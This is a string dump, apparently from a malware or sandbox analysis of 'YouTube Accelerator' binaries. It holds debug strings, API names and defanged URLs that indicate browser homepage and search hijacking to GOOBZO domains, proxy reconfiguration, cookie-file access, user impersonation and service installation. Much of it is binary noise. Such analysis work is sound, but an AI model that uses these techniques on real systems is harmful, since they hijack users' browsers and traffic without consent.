[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d
[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToWindowStation] CopySid - Error: %d
[CImpersonate::AddAceToWindowStation] AddAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d
[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d
[CImpersonate::AddAceToDesktop] AddAce - Error: %d
[CImpersonate::AddAceToDesktop] GetAce - Error: %d
[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d
[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS
[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d
[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS
[CImpersonate::OpenCurrentUserKey] Impersonated: %d
[CImpersonate::FindLoggedOnUser] Process32First - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d
[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer.exe
[CImpersonate::FindLoggedOnUser] Impersonated: %d
[CImpersonate::GetLogonUserName] Name: %s
[CImpersonate::GetLogonUserName] GetUserName - Error: %d
[CImpersonateThread::NotifyImpersonateLogon] Time: %d
[CImpersonateThread::NotifyImpersonateLogoff] Time: %d
[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d
[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d
engine.dll
DestroyPipeEventThreadManager
CreatePipeEventThreadManager
ipc.dll
xmldb.dll
config.xml
<d/d/%d d:d:d::d 0x%X>
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue
[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx
[SbTracer::RecursiveCreateDirectory] Directory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s
[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s
[SbTracer::ReadConfiguration] Trace Max Size: %d
[SbTracer::ReadConfiguration] Trace Time Stamp: %d
[SbTracer::ReadConfiguration] Trace Time Limit: %d
[SbTracer::ReadConfiguration] Trace Backup: %d
[SbTracer::ReadConfiguration] Trace Destination: %d
[SbTracer::ReadConfiguration] Trace Level: %d
[SbTracer::FormatFilePath] Log Path: %s
[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s
[SbTracer::FormatFilePath] ___Warning - No Log folder: %s
[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s
\StringFileInfo\x\%s
[SbTracer::BackupTraceFile] %s
[SbTracer::OpenTraceFile] Done %s
[SbTracer::OpenTraceFile] ___Error: %d, File: %s
[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d
[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d
[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d
[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d
[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d
[CServiceController::ChangeStartType] Name: %s
[CServiceController::ExecuteServer] Exit
[CServiceController::ExecuteServer] Enter
[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d
[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d
[CServiceController::UpdateServiceDespatchTable] Enter, %s
[CServiceController::Remove] ___Error OpenService Failed: %d
[CServiceController::Remove] ___Error OpenSCManager Failed: %d
[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d
[CServiceController::GetStatus] ___Error OpenService Failed: %d
[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d
[CServiceController::Start] The service %s was started
[CServiceController::Start] ___Error StartService Failed: %d
[CServiceController::Start] ___Error OpenService Failed: %d
[CServiceController::Start] ___Error OpenSCManager Failed: %d
[CServiceController::Start] Going to start the service %s
[CServiceController::Stop] The service %s was stopped
YoutubeAcceleratorService.exe
[CServiceController::Stop] ___Error ControlService Failed: %d
[CServiceController::Stop] ___Error OpenService Failed: %d
[CServiceController::Stop] Going to stop the service %s
[CServiceController::Stop] ___Error SetServiceStatus Failed: %d
[CServiceController::Install] ___Error OpenService Failed: %d
[CServiceController::Install] ___Error QueryServiceStatus Failed: %d
[CServiceController::Install] ___Error CreateService Failed: %d
[CServiceController::Install] ___Error OpenSCManager Failed: %d
%s -%s -%s
%s\%s
[CServiceController::Install] ___Error GetModuleFileName Failed: %d
[CServiceController::GetArgsFromCmd] Exit
[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE
[CServiceController::GetArgsFromCmd] Enter
[CServiceController::RunCommand] Args: %s
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
operator
GetProcessWindowStation
USER32.DLL
c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release\YouTubeAcceleratorService.pdb
KERNEL32.dll
USER32.dll
ADVAPI32.dll
SHELL32.dll
VERSION.dll
USERENV.dll
PSAPI.DLL
.?AVIPipeEventsThread@@
.?AVCPipeEventThread@@
.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@
.?AVIPipeEventThreadManagerFactory@@
.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@
.?AVCPipeEventThreadManagerFactory@@
C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService.exe
aSSSh
FTPjK
FtPj;
C.PjRV
]@ ]( ]8
tGHt.Ht&
FTPQ
.?AVunsupported_thread_option@boost@@
zcÁ
SetProcessShutdownParameters
kernel32.dll
COMCTL32.DLL
boost::too_few_args: format-string referred to more arguments than were passed
boost::too_many_args: format-string referred to less arguments than were passed
Required USB Key not found
Failed to execute target process
Cannot find import; DLL may be missing, corrupt, or wrong version
File "%s", function "%s"
File "%s", ordinal %d
File "%s", error %d
(Error code %d)
%X:DAF
(Location XEB, error code %d)
_PAD%d
RNX
%X::DAX
KERNEL32.DLL
.DbgLog
GetWindowsDirectoryW
CreateDialogIndirectParamW
Kernel32.dll
User32.dll
ComDlg32.dll
1.2.3
EXCEPTION_FLT_INVALID_OPERATION
EXCEPTION_FLT_DENORMAL_OPERAND
boost::unsupported_thread_option
mscoree.dll
Visual C   CRT: Not enough memory to complete call to strerror.
.mixcrt
ADVAPI32.DLL
portuguese-brazilian
Broken pipe
Inappropriate I/O control operation
Operation not permitted
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
inflate 1.2.3 Copyright 1995-2005 Mark Adler
C:\PROGRA~2\YOUTUB~1\YouTubeAcceleratorService-2.DbgLog
GetWindowsDirectoryA
EnumThreadWindows
EnumWindows
CreateDialogIndirectParamA
GetAsyncKeyState
GDI32.dll
comdlg32.dll
GetProcessHeap
GetCPInfo
GetConsoleOutputCP
^.Ad/
.Zvv[
j%FwL
e.tu/
5%up/
A.YNpN\n
%Um-IF
.BV$L|
%X1:S
`?T%Sj
%x@k4
.iyDY
j.Wsf
Cr.BxL
V.Fb7|
$"bM-Q}n
%x R\X
4%sPp
_%S3@
.LvHT
.owm;y,
}R.zmA
.bi@{
>I|.pt|d
t_\A
p}.GF
G){.mf
.xh$x
U.gs!
J|0.tL
.iJp`
.zE:aG
.7%Xs
-DED%xFqz
%cnzb
%UQzss
1%.Ey\=
/\%Dg
.FlC\5
.cA~;
P?=I_.or\
E.yb|4
%SuSw
T.UHuR
LZÁ
Q,-I}g_
4.gtE
-;M.EZk
1:](P%X
g.RUg
fH.XFH
.cP;_
<requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>
OUTUB~1\YouTubeAcceleratorService.exe
3.3.9.5

YouTubeAccelerator.exe_3572:




.text
`.rdata
@.data
.text1
.adata
.data1
.pdata
.rsrc
uh9.tZ
otuh9.tZ
tZ9.tB
tV9.tB
l$$9.tZ
ub9.tM
@ SSh
SSSSh
D$<9.tZ
\9.tB
D$`9.tZ
FTPj
t#WSSh
D$(PSSh
s%j.Zf
tGHt.Ht&
@Uu.AUuv
Iwp%C
%a,%d-%b-%Y %H:%M:%S
DestroyPipeEventThreadManager
CreatePipeEventThreadManager
spCmd
3.3.9.5
<img src="images/v4.gif" alt="" />
<img src="images/v3.gif" alt="" />
user32.dll
CWebBrowser2
CNotSupportedException
hhctrl.ocx
CCmdTarget
KERNEL32.DLL
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
GetProcessWindowStation
USER32.DLL
operator
OLEACC.dll
c:\BUILDS\Build_YTA\Client\VA_3_2\Bin\Release_Unicode\YouTubeAcceleratorU.pdb
VERSION.dll
KERNEL32.dll
USER32.dll
GDI32.dll
COMDLG32.dll
WINSPOOL.DRV
ADVAPI32.dll
SHELL32.dll
COMCTL32.dll
SHLWAPI.dll
oledlg.dll
ole32.dll
OLEAUT32.dll
WININET.dll
WS2_32.dll
USERENV.dll
PSAPI.DLL
.?AVCCmdTarget@@
.PAVCException@@
.?AVCWebWindow@@
.?AVCHttp@@
.?AVCHttpAsync@@
.?AVCExecuteUpdate@@
.?AVCExitWindows@@
.?AVIHttpEngineConfiguration@@
.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@
.?AVHttpEngineConfiguration@@
.?AVIPipeEventsThread@@
.?AVCSLogReportEventThread@@
.?AVCPipeEventThread@@
.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@
.?AVIPipeEventThreadManagerFactory@@
.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@
.?AVCPipeEventThreadManagerFactory@@
<>"#{}|\^~[]`' ?&
.?AVCSABaseWebWindow@@
.?AVCSANotifierWebWindow@@
.?AVCSAWebWindow@@
.PAVCMemoryException@@
.?AVCWebBrowser2@@
.?AVCWebForm@@
.?AVCWebElement@@
.?AVCWebInput@@
.?AVCWebAnchor@@
.?AVCWebDiv@@
.?AVCWebCheckBox@@
.PAVCSimpleException@@
.PAVCObject@@
.PAVCNotSupportedException@@
.PAVCInvalidArgException@@
.?AVCNotSupportedException@@
.PAVCOleException@@
.PAVCResourceException@@
.PAVCUserException@@
.?AVCTestCmdUI@@
.?AVCCmdUI@@
.PAVCOleDispatchException@@
.PAVCArchiveException@@
.?AV?$CFixedStringT@V?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@$0BAA@@ATL@@
.?AV?$CStringT@_WV?$StrTraitMFC@_WV?$ChTraitsCRT@_W@ATL@@@@@ATL@@
.PAVCFileException@@
zcÁ
aSSSh
FTPjK
FtPj;
C.PjRV
]@ ]( ]8
FTPQ
.?AVunsupported_thread_option@boost@@
SetProcessShutdownParameters
kernel32.dll
COMCTL32.DLL
boost::too_few_args: format-string referred to more arguments than were passed
boost::too_many_args: format-string referred to less arguments than were passed
Required USB Key not found
Failed to execute target process
Cannot find import; DLL may be missing, corrupt, or wrong version
File "%s", function "%s"
File "%s", ordinal %d
File "%s", error %d
(Error code %d)
%X:DAF
(Location XEB, error code %d)
_PAD%d
RNX
%X::DAX
.DbgLog
GetWindowsDirectoryW
CreateDialogIndirectParamW
Kernel32.dll
User32.dll
ComDlg32.dll
1.2.3
EXCEPTION_FLT_INVALID_OPERATION
EXCEPTION_FLT_DENORMAL_OPERAND
boost::unsupported_thread_option
mscoree.dll
Visual C   CRT: Not enough memory to complete call to strerror.
.mixcrt
ADVAPI32.DLL
portuguese-brazilian
Broken pipe
Inappropriate I/O control operation
Operation not permitted
deflate 1.2.3 Copyright 1995-2005 Jean-loup Gailly
inflate 1.2.3 Copyright 1995-2005 Mark Adler
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator-2.DbgLog
%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe
GetWindowsDirectoryA
EnumThreadWindows
EnumWindows
CreateDialogIndirectParamA
GetAsyncKeyState
comdlg32.dll
GetProcessHeap
GetCPInfo
GetConsoleOutputCP
^.Ad/
.Zvv[
j%FwL
e.tu/
5%up/
A.YNpN\n
%Um-IF
.BV$L|
%X1:S
`?T%Sj
%x@k4
.iyDY
j.Wsf
Cr.BxL
V.Fb7|
$"bM-Q}n
%x R\X
4%sPp
_%S3@
.LvHT
.owm;y,
}R.zmA
.bi@{
>I|.pt|d
t_\A
p}.GF
G){.mf
.xh$x
U.gs!
J|0.tL
.iJp`
.zE:aG
.7%Xs
-DED%xFqz
%cnzb
%UQzss
1%.Ey\=
/\%Dg
.FlC\5
.cA~;
P?=I_.or\
E.yb|4
%SuSw
T.UHuR
,'*%f
!.OUV
.FLy3
jS.TP]
ULsD1A%C
.Wk4ka&F
=.BJu
.Ao$u
w%fVb
Ü/OK1I
vAR%5s_
.OM4t
~UsQl^
h2%XL
|RZ%X#
Al-f}
Zdr.Uzr
'5,# {:#
L.gSeC
.Xw_I
|v%s9
j,M
CPX.ta
S.OSC
<.fRv
kksQl
}C.Xz
'(}:"%;'
8,.Dl
y%swo
XX.VK
..Jz`
,'.mM
@M.kuMhW
CQ.ug
{\.Gpf
.LHP9Q
U|i
.epAjX(
&i.zi
%DHTz
j8.CW
I7Û
.BR }:
-.Ozl
6'.VA
"x.UU;
.MtNM
9;}%X
%SAw'[
.xVCVe7x
%s7$T
.aP4\Wa
 %DmQ.
ce.Sz0{6
7_:%d
bjz6Œ8[
t1.AU
zTaB.nf
)g.ow
^__:;;,,,~
9:;556011---
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
%s (%s:%d)
%Program Files% (x86)\Microsoft Visual Studio 9.0\VC\atlmfc\include\afxwin1.inl
JhXXp://@BRAND_ID@.@[email protected]/support/video-sites
hXXp://@BRAND_ID@.@[email protected]/buy/hd/
hXXp://wiki.@[email protected]/doku.php?id=va:start
%s?OEM=%s
hXXp://VVV.@[email protected]
hXXp://@BRAND_ID@.@[email protected]/legal/license
blank.html
hXXp://VVV.@[email protected]/legal/privacy
[CAcceleratorEventsData::OnDeserialize] ___Error get URL
@CActivationBrowser::OnBeforeNavigate : url = %s
CActivationBrowser::OnNavigateComplete : url = %s
CActivationBrowser::OnNavigateError : url = %s
Res.dll
CActivationBrowser::SetMetaData GOT 'OPEN_URL'
OPEN_URL
CActivationBrowser::SetMetaData GOT 'ACTIVATION_BACK_URL'
ACTIVATION_BACK_URL
activation_offline.mht
%X%X%X
hXXp://client.@[email protected]/clientva/Activation.aspx
CActivationBrowser::OnDocumentComplete : url = %s
ipc.dll
\\.\pipe\GOOBZO_VAPIPESERVERENG
LastNum%d
LastID%d
\\.\pipe\GOOBZO_VAPIPESERVERUI
CBrowserSettings::RegisterDLL - LoadLibrary() Failed: %s
CBrowserSettings::RegisterDLL %s
%s = %s; expires = %s
%a,%d-%b-%Y %H:%M:%S GMT
2prefs.js
profiles.ini
profile%d
Mozilla\Firefox\
cookies.txt
Software\Microsoft\Internet Explorer\AboutURLs
user_pref("keyword.URL", "%s");
Use Custom Search URL
DefaultSearchURL
SBSearch.dll
SearchURL
Web Search
user_pref("browser.startup.homepage","%s");
restore.GOOBZO.com
hXXp://search.GOOBZO.com
search.GOOBZO.com
%d-%b-%Y
hXXp://restore.GOOBZO.com
user_pref("browser.startup.homepage",
HTTP/1.0
Software\Microsoft\Windows\CurrentVersion\Internet Settings
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
HTTP/1.1
Content-Type: multipart/form-data; boundary=%s
Content-Disposition: form-data; name="%s"
XXX
[CCommandsQueue::SetAsync (%p)] ___Error CreateEvent(), Error: %d
[CCommandsQueue::CCommandsQueue - (%p)] CreateEvent() - Failed, Error: %d
test.youtubeaccelerator.com
hXXp://test.youtubeaccelerator.com/video_accelerator/wizardtest/SMALLTEST.HTM?random=%d&mode=%s
Windows CE
Windows 7
Windows Vista
Windows 2003 Server
Windows XP
Windows 2000
Windows NT
Windows Me
Windows 98
Windows 95
[CCommTest::SetEngineMode] %d
vaproxy.pac
[CCommTest::StartServiceTest] ___Error Default EngineMode = %d !!!
[CCommTest::StartGuiTest] ___Error to create VACommTest process. LE: %d
testlsp.exe
[CCommTest::ProcessNextState] ___Error State = %d !!!
[CCommTestDlg::KillAllTimers] m_ConnectivityCheckTimer Timer: %d
[CCommTestDlg::ResetConnectionTimer] SetTimer: %d
[CCommTestDlg::ResetConnectivityCheckTimer] SetTimer: %d
CCommTestDlg::OnTimer() - m_ConnectionTestFailedTimer: %d
SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy
showitunesMsg
DontShowAccelerationNotSupported
lastiTunesMsgTime
ManualProxyPort
[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d
[CConfig::IsLastTestingSucceeded] XML - Status = %d
[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)
[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)
[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)
[CConfig::IsTestingMode] TestingMode = %d (XML)
[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)
[CConfig::SetTestingMode] TestingMode = %d (XML)
[CConfig::GetBrandPort] BrandPort = %d
br_port
CConfig::SetCurrentUserKey
ReportCommFailed
[CConfig::SetSendLogFiles] Status = %d
[CConfig::SetSendInstLogFileOnly] Status = %d
[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
[CConfig::SetTracerOff] ___Error GetRegistryKeys
[CConfig::SetBackup] ___Error GetRegistryKeys
[CConfig::SetBackup] Status = %d
[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list
[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list
[CConfig::IsXBoxMode] Status = %d
[CConfig::SetTracerOn] ___Error GetRegistryKeys
[CConfig::SetTracer] Status = %d
B%sLow\%s\
%C:\Users\Public\Documents\%s\%s\
%s\%s\%s\
%s\Application Data\%s\%s\
[CCoreConfig::InitConfig] Product Name %s UseRegistry %d
You are using %s - Translated by:
[CFileResource::Load] ___Error SizeofResource: %d
[CFileResource::Load] ___Error LockResource: %d
[CFileResource::Load] ___Error LoadResource: %d
[CFileResource::Load] ___Error FindResource: %d
[CFileResource::Load] %s
[CFileResource::Extract] ___Error Write: %d
[CFileResource::Extract] ___Error Create: %d
[CFileResource::Extract] %s
[CFileResource::ExtractAll] ___Error ExtractResourceFromList: %x
[CFileResource::ExtractAll] ___Error EnumResourceTypes: %d
ListenPort
[EngineConfiguration::GetCurrentUserKey] User Key: %X
[EngineConfiguration::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
HttpRedirectProxyPort
HttpRedirectProxyDomain
[CEventsThread::SetTimeoutResolution] From: %d -> To: %d
[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms
[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms
[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d
[CEventsThread::WaitForMultipleEvents] TID=%X
[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d
[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d
[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...
[CEventsThread::Start - Leave] TID=%X
[CEventsThread::Start] ___Error - Failed to create thread: %X
[CEventsThread::Stop - Leave] TID=%X
[CEventsThread::Stop - Enter] TID=%X
B[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d
[CEventsThread::AlertEvent] ___Error SetEvent failed: %d
[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d
[CEventsThread::AlertEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d
[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d
[CEventsThread::SetGlobalEvent] Event: %d
[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d
[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d
[CEventsThread::ResetEvent] ___Error Not found Event: %d
[CEventsThread::ResetEvent] Event: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d
[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d
[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d
[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d
[CEventsThread::RemoveEvent] ___Error Not found Event: %d
[CEventsThread::RemoveEvent] Event: %d
[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d
[CEventsThread::Cleanup] Closing Handle: %d
[CEventsThread::WaitEvent] TID=%X
[CEventsThread::Work] TID=%X - Exit !!!
[CEventsThread::Work] WAIT_ABANDONED - %d
[CEventsThread::Work] TID=%X
B[CEventsThread::AddEvent] ___Warning event handle already exists %d
[CEventsThread::AddEvent] ___Error invalid event handle %d
[CExecuteUpdate::OnDeserialize] ___Error get m_ShowCmd
[CExecuteUpdate::OnDeserialize] ___Error get m_Directory
[CExecuteUpdate::OnDeserialize] ___Error get m_Parameters
[CExecuteUpdate::OnDeserialize] ___Error get m_Operation
[CExecuteUpdate::OnDeserialize] ___Error get m_File
[CExecuteUpdate::RunUpdate] ___Error ShellExecute: %s, Faild: %d
http_port
user.js
user_pref("network.proxy.
autoconfig_url
Windows XP Firewall (ICF)
SOFTWARE\McAfee.com\Personal Firewall
DAP.EXE
Windows Security Alert
%d.%d.%d.%d
HttpHandleAll
HttpWorkerBufferLimit
HttpListenPort
HttpListenIP
.html
\winhlp32.exe
[CIEInternetProxySettings::RetriveProxyConfiguration - Exit] list.pOptions == NULL
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
[CIEInternetProxySettings::ApplyProxyConfiguration] InternetSetOption() - Failed: %d
[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %d
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %d
[CIEInternetProxySettings::IsOptionIncluded] NOT Found - Option: %d, Value: %s
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: %s
[CIEInternetProxySettings::IsOptionIncluded] Found - Option: %d, Value: NULL
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_REFRESH ) - Failed: %d
[CIEInternetProxySettings::Refresh] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption() - Failed: %d
[CIEInternetProxySettings::SetProxyConfigScript] list.pOptions == NULL
[CIEInternetProxySettings::GetCurrentUserKey] User Key: %p
[CIEInternetProxySettings::GetCurrentUserKey] ___Error spIImpersonateThread == NULL
[CIEInternetProxySettings::SetProxyConfigScript] InternetSetOption( INTERNET_OPTION_SETTINGS_CHANGED ) - Failed: %d
http=
[CIEInternetProxySettings::Save] %s - %s = %s
[CImpersonate::Impersonate] ImpersonateLoggedOnUser - Error: %d
[CImpersonate::Impersonate] Impersonated: %d
[CImpersonate::Revert] RevertToSelf - Error: %d
[CImpersonate::Revert] Impersonated: %d
[CImpersonate::Cleanup] Impersonated: %d
[CImpersonate::GetUserSID] LookupAccountNameW failed. GetLastError returned: %d
[CImpersonate::GetUserSID] The SID for %s is invalid.
[CImpersonate::GetUserSID] Not Enough Memory: %d
[CImpersonate::SetPrivilege] AdjustTokenPrivileges - Error: %d
[CImpersonate::SetPrivilege] LookupPrivilegeValue - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support Windows Vista and Windows 98
[CImpersonate::OpenCurrentUserDesktop] OpenDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenInputDesktop - Error: %d
[CImpersonate::OpenCurrentUserDesktop] SetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] OpenWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] GetProcessWindowStation - Error: %d
[CImpersonate::OpenCurrentUserDesktop] - The function does not support MAC
[CImpersonate::CreateProcessAsCurrentUser] CreateProcessAsUser - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] CreateEnvironmentBlock - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] AddAceToWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetLogonSID - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] DuplicateTokenEx - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenDesktop - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] SetProcessWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] OpenWindowStation - Error: %d
[CImpersonate::CreateProcessAsCurrentUser] GetProcessWindowStation - Error: %d
[CImpersonate::AddAceToWindowStation] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToWindowStation] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToWindowStation] CopySid - Error: %d
[CImpersonate::AddAceToWindowStation] AddAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAce - Error: %d
[CImpersonate::AddAceToWindowStation] GetAclInformation - Error: %d
[CImpersonate::AddAceToWindowStation] GetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetUserObjectSecurity - Error: %d
[CImpersonate::AddAceToDesktop] SetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] AddAccessAllowedAce - Error: %d
[CImpersonate::AddAceToDesktop] AddAce - Error: %d
[CImpersonate::AddAceToDesktop] GetAce - Error: %d
[CImpersonate::AddAceToDesktop] GetSecurityDescriptorDacl - Error: %d
[CImpersonate::AddAceToDesktop] GetUserObjectSecurity - Error: %d
[CImpersonate::OpenCurrentUserKey] LoadUserProfile - SUCCESS
[CImpersonate::OpenCurrentUserKey] LoadUserProfile failed - Error: %d
[CImpersonate::GetLogonUserName] GetLogonUserName - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - Error: %d
[CImpersonate::OpenCurrentUserKey] RegOpenCurrentUser - SUCCESS
[CImpersonate::OpenCurrentUserKey] Impersonated: %d
[CImpersonate::FindLoggedOnUser] Process32First - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcess - Error: %d
[CImpersonate::FindLoggedOnUser] OpenProcessToken - Error: %d
[CImpersonate::FindLoggedOnUser] CreateToolhelp32Snapshot failed - Error: %d
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
explorer.exe
[CImpersonate::FindLoggedOnUser] Impersonated: %d
[CImpersonate::GetLogonUserName] Name: %s
[CImpersonate::GetLogonUserName] GetUserName - Error: %d
[CImpersonateThread::NotifyImpersonateLogon] Time: %d
[CImpersonateThread::NotifyImpersonateLogoff] Time: %d
[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d
